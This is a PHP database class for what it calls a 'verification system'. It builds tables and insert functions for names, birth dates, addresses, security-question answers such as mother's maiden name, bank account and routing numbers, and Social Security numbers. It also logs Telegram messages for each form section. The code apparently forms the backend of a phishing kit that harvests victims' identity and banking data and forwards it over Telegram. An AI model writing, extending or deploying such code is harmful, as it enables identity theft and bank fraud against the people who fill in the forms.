<?php
/**
 * Database Structure and Management
 * Handles database operations for the verification system
 */

class DatabaseManager {
    private $pdo;
    private $config;
    
    public function __construct($config) {
        $this->config = $config;
        $this->connect();
        $this->createTables();
    }
    
    private function connect() {
        try {
            $dsn = "mysql:host={$this->config['database']['host']};dbname={$this->config['database']['database']};charset={$this->config['database']['charset']}";
            $this->pdo = new PDO($dsn, $this->config['database']['username'], $this->config['database']['password'], [
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
                PDO::ATTR_EMULATE_PREPARES => false,
            ]);
        } catch (PDOException $e) {
            // If database doesn't exist, create it
            $this->createDatabase();
            $this->connect();
        }
    }
    
    private function createDatabase() {
        try {
            $dsn = "mysql:host={$this->config['database']['host']};charset={$this->config['database']['charset']}";
            $pdo = new PDO($dsn, $this->config['database']['username'], $this->config['database']['password']);
            $pdo->exec("CREATE DATABASE IF NOT EXISTS `{$this->config['database']['database']}` CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci");
        } catch (PDOException $e) {
            throw new Exception("Failed to create database: " . $e->getMessage());
        }
    }
    
    private function createTables() {
        $tables = [
            'verification_sessions' => "
                CREATE TABLE IF NOT EXISTS verification_sessions (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    session_id VARCHAR(128) UNIQUE NOT NULL,
                    ip_address VARCHAR(45) NOT NULL,
                    user_agent TEXT,
                    country VARCHAR(100),
                    state VARCHAR(100),
                    city VARCHAR(100),
                    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
                    status ENUM('active', 'completed', 'expired', 'blocked') DEFAULT 'active',
                    completed_sections JSON,
                    INDEX idx_session_id (session_id),
                    INDEX idx_ip_address (ip_address),
                    INDEX idx_created_at (created_at)
                ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci
            ",
            
            'personal_details' => "
                CREATE TABLE IF NOT EXISTS personal_details (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    session_id VARCHAR(128) NOT NULL,
                    first_name VARCHAR(50) NOT NULL,
                    last_name VARCHAR(50) NOT NULL,
                    email VARCHAR(100) NOT NULL,
                    phone VARCHAR(20) NOT NULL,
                    date_of_birth DATE NOT NULL,
                    address TEXT NOT NULL,
                    city VARCHAR(50) NOT NULL,
                    state VARCHAR(50) NOT NULL,
                    zip_code VARCHAR(20) NOT NULL,
                    country VARCHAR(50) NOT NULL,
                    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                    FOREIGN KEY (session_id) REFERENCES verification_sessions(session_id) ON DELETE CASCADE,
                    INDEX idx_session_id (session_id),
                    INDEX idx_email (email),
                    INDEX idx_phone (phone)
                ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci
            ",
            
            'security_details' => "
                CREATE TABLE IF NOT EXISTS security_details (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    session_id VARCHAR(128) NOT NULL,
                    favorite_color VARCHAR(30) NOT NULL,
                    favorite_food VARCHAR(50) NOT NULL,
                    favorite_movie VARCHAR(100) NOT NULL,
                    favorite_sport VARCHAR(30) NOT NULL,
                    mother_maiden_name VARCHAR(50) NOT NULL,
                    first_pet_name VARCHAR(30) NOT NULL,
                    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                    FOREIGN KEY (session_id) REFERENCES verification_sessions(session_id) ON DELETE CASCADE,
                    INDEX idx_session_id (session_id)
                ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci
            ",
            
            'banking_details' => "
                CREATE TABLE IF NOT EXISTS banking_details (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    session_id VARCHAR(128) NOT NULL,
                    account_number VARCHAR(20) NOT NULL,
                    routing_number VARCHAR(20) NOT NULL,
                    bank_name VARCHAR(100) NOT NULL,
                    account_type VARCHAR(20) NOT NULL,
                    ssn VARCHAR(11) NOT NULL,
                    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                    FOREIGN KEY (session_id) REFERENCES verification_sessions(session_id) ON DELETE CASCADE,
                    INDEX idx_session_id (session_id),
                    INDEX idx_account_number (account_number),
                    INDEX idx_routing_number (routing_number)
                ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci
            ",
            
            'telegram_logs' => "
                CREATE TABLE IF NOT EXISTS telegram_logs (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    session_id VARCHAR(128) NOT NULL,
                    section VARCHAR(20) NOT NULL,
                    message TEXT NOT NULL,
                    sent_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                    status ENUM('sent', 'failed', 'pending') DEFAULT 'pending',
                    error_message TEXT,
                    FOREIGN KEY (session_id) REFERENCES verification_sessions(session_id) ON DELETE CASCADE,
                    INDEX idx_session_id (session_id),
                    INDEX idx_sent_at (sent_at),
                    INDEX idx_status (status)
                ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci
            ",
            
            'security_logs' => "
                CREATE TABLE IF NOT EXISTS security_logs (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    ip_address VARCHAR(45) NOT NULL,
                    user_agent TEXT,
                    action VARCHAR(50) NOT NULL,
                    details TEXT,
                    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                    INDEX idx_ip_address (ip_address),
                    INDEX idx_action (action),
                    INDEX idx_created_at (created_at)
                ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci
            ",
            
            'rate_limits' => "
                CREATE TABLE IF NOT EXISTS rate_limits (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    ip_address VARCHAR(45) NOT NULL,
                    action VARCHAR(50) NOT NULL,
                    attempts INT DEFAULT 1,
                    first_attempt TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                    last_attempt TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
                    blocked_until TIMESTAMP NULL,
                    UNIQUE KEY unique_ip_action (ip_address, action),
                    INDEX idx_ip_address (ip_address),
                    INDEX idx_blocked_until (blocked_until)
                ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci
            "
        ];
        
        foreach ($tables as $tableName => $sql) {
            try {
                $this->pdo->exec($sql);
            } catch (PDOException $e) {
                error_log("Failed to create table $tableName: " . $e->getMessage());
            }
        }
    }
    
    /**
     * Create a new verification session
     */
    public function createSession($sessionId, $ipAddress, $userAgent, $locationData = []) {
        $sql = "INSERT INTO verification_sessions (session_id, ip_address, user_agent, country, state, city) 
                VALUES (?, ?, ?, ?, ?, ?)";
        
        $stmt = $this->pdo->prepare($sql);
        return $stmt->execute([
            $sessionId,
            $ipAddress,
            $userAgent,
            $locationData['country'] ?? null,
            $locationData['state'] ?? null,
            $locationData['city'] ?? null
        ]);
    }
    
    /**
     * Get session data
     */
    public function getSession($sessionId) {
        $sql = "SELECT * FROM verification_sessions WHERE session_id = ?";
        $stmt = $this->pdo->prepare($sql);
        $stmt->execute([$sessionId]);
        return $stmt->fetch();
    }
    
    /**
     * Update session status
     */
    public function updateSessionStatus($sessionId, $status, $completedSections = null) {
        $sql = "UPDATE verification_sessions SET status = ?, completed_sections = ? WHERE session_id = ?";
        $stmt = $this->pdo->prepare($sql);
        return $stmt->execute([
            $status,
            $completedSections ? json_encode($completedSections) : null,
            $sessionId
        ]);
    }
    
    /**
     * Save personal details
     */
    public function savePersonalDetails($sessionId, $data) {
        $sql = "INSERT INTO personal_details (session_id, first_name, last_name, email, phone, date_of_birth, address, city, state, zip_code, country) 
                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)";
        
        $stmt = $this->pdo->prepare($sql);
        return $stmt->execute([
            $sessionId,
            $data['first_name'],
            $data['last_name'],
            $data['email'],
            $data['phone'],
            $data['date_of_birth'],
            $data['address'],
            $data['city'],
            $data['state'],
            $data['zip_code'],
            $data['country']
        ]);
    }
    
    /**
     * Save security details
     */
    public function saveSecurityDetails($sessionId, $data) {
        $sql = "INSERT INTO security_details (session_id, favorite_color, favorite_food, favorite_movie, favorite_sport, mother_maiden_name, first_pet_name) 
                VALUES (?, ?, ?, ?, ?, ?, ?)";
        
        $stmt = $this->pdo->prepare($sql);
        return $stmt->execute([
            $sessionId,
            $data['favorite_color'],
            $data['favorite_food'],
            $data['favorite_movie'],
            $data['favorite_sport'],
            $data['mother_maiden_name'],
            $data['first_pet_name']
        ]);
    }
    
    /**
     * Save banking details
     */
    public function saveBankingDetails($sessionId, $data) {
        $sql = "INSERT INTO banking_details (session_id, account_number, routing_number, bank_name, account_type, ssn) 
                VALUES (?, ?, ?, ?, ?, ?)";
        
        $stmt = $this->pdo->prepare($sql);
        return $stmt->execute([
            $sessionId,
            $data['account_number'],
            $data['routing_number'],
            $data['bank_name'],
            $data['account_type'],
            $data['ssn']
        ]);
    }
    
    /**
     * Log Telegram message
     */
    public function logTelegramMessage($sessionId, $section, $message, $status = 'sent', $errorMessage = null) {
        $sql = "INSERT INTO telegram_logs (session_id, section, message, status, error_message) 
                VALUES (?, ?, ?, ?, ?)";
        
        $stmt = $this->pdo->prepare($sql);
        return $stmt->execute([
            $sessionId,
            $section,
            $message,
            $status,
            $errorMessage
        ]);
    }
    
    /**
     * Log security event
     */
    public function logSecurityEvent($ipAddress, $userAgent, $action, $details = null) {
        $sql = "INSERT INTO security_logs (ip_address, user_agent, action, details) 
                VALUES (?, ?, ?, ?)";
        
        $stmt = $this->pdo->prepare($sql);
        return $stmt->execute([
            $ipAddress,
            $userAgent,
            $action,
            $details
        ]);
    }
    
    /**
     * Check rate limit
     */
    public function checkRateLimit($ipAddress, $action, $maxAttempts = 5, $windowMinutes = 5) {
        $sql = "SELECT * FROM rate_limits WHERE ip_address = ? AND action = ?";
        $stmt = $this->pdo->prepare($sql);
        $stmt->execute([$ipAddress, $action]);
        $record = $stmt->fetch();
        
        if (!$record) {
            // First attempt
            $sql = "INSERT INTO rate_limits (ip_address, action, attempts) VALUES (?, ?, 1)";
            $stmt = $this->pdo->prepare($sql);
            $stmt->execute([$ipAddress, $action]);
            return true;
        }
        
        // Check if blocked
        if ($record['blocked_until'] && strtotime($record['blocked_until']) > time()) {
            return false;
        }
        
        // Check if within time window
        $windowStart = date('Y-m-d H:i:s', strtotime("-{$windowMinutes} minutes"));
        if ($record['first_attempt'] > $windowStart) {
            if ($record['attempts'] >= $maxAttempts) {
                // Block for 1 hour
                $blockUntil = date('Y-m-d H:i:s', strtotime('+1 hour'));
                $sql = "UPDATE rate_limits SET blocked_until = ? WHERE ip_address = ? AND action = ?";
                $stmt = $this->pdo->prepare($sql);
                $stmt->execute([$blockUntil, $ipAddress, $action]);
                return false;
            }
            
            // Increment attempts
            $sql = "UPDATE rate_limits SET attempts = attempts + 1, last_attempt = NOW() WHERE ip_address = ? AND action = ?";
            $stmt = $this->pdo->prepare($sql);
            $stmt->execute([$ipAddress, $action]);
        } else {
            // Reset window
            $sql = "UPDATE rate_limits SET attempts = 1, first_attempt = NOW(), last_attempt = NOW(), blocked_until = NULL WHERE ip_address = ? AND action = ?";
            $stmt = $this->pdo->prepare($sql);
            $stmt->execute([$ipAddress, $action]);
        }
        
        return true;
    }
    
    /**
     * Get verification statistics
     */
    public function getStatistics() {
        $stats = [];
        
        // Total sessions
        $sql = "SELECT COUNT(*) as total FROM verification_sessions";
        $stmt = $this->pdo->query($sql);
        $stats['total_sessions'] = $stmt->fetch()['total'];
        
        // Completed verifications
        $sql = "SELECT COUNT(*) as completed FROM verification_sessions WHERE status = 'completed'";
        $stmt = $this->pdo->query($sql);
        $stats['completed_verifications'] = $stmt->fetch()['completed'];
        
        // Today's sessions
        $sql = "SELECT COUNT(*) as today FROM verification_sessions WHERE DATE(created_at) = CURDATE()";
        $stmt = $this->pdo->query($sql);
        $stats['today_sessions'] = $stmt->fetch()['today'];
        
        // Security events
        $sql = "SELECT COUNT(*) as security_events FROM security_logs WHERE DATE(created_at) = CURDATE()";
        $stmt = $this->pdo->query($sql);
        $stats['security_events_today'] = $stmt->fetch()['security_events'];
        
        return $stats;
    }
    
    /**
     * Clean up old sessions
     */
    public function cleanupOldSessions($daysOld = 30) {
        $sql = "DELETE FROM verification_sessions WHERE created_at < DATE_SUB(NOW(), INTERVAL ? DAY)";
        $stmt = $this->pdo->prepare($sql);
        return $stmt->execute([$daysOld]);
    }
    
    /**
     * Get PDO instance for custom queries
     */
    public function getPdo() {
        return $this->pdo;
    }
}
?>
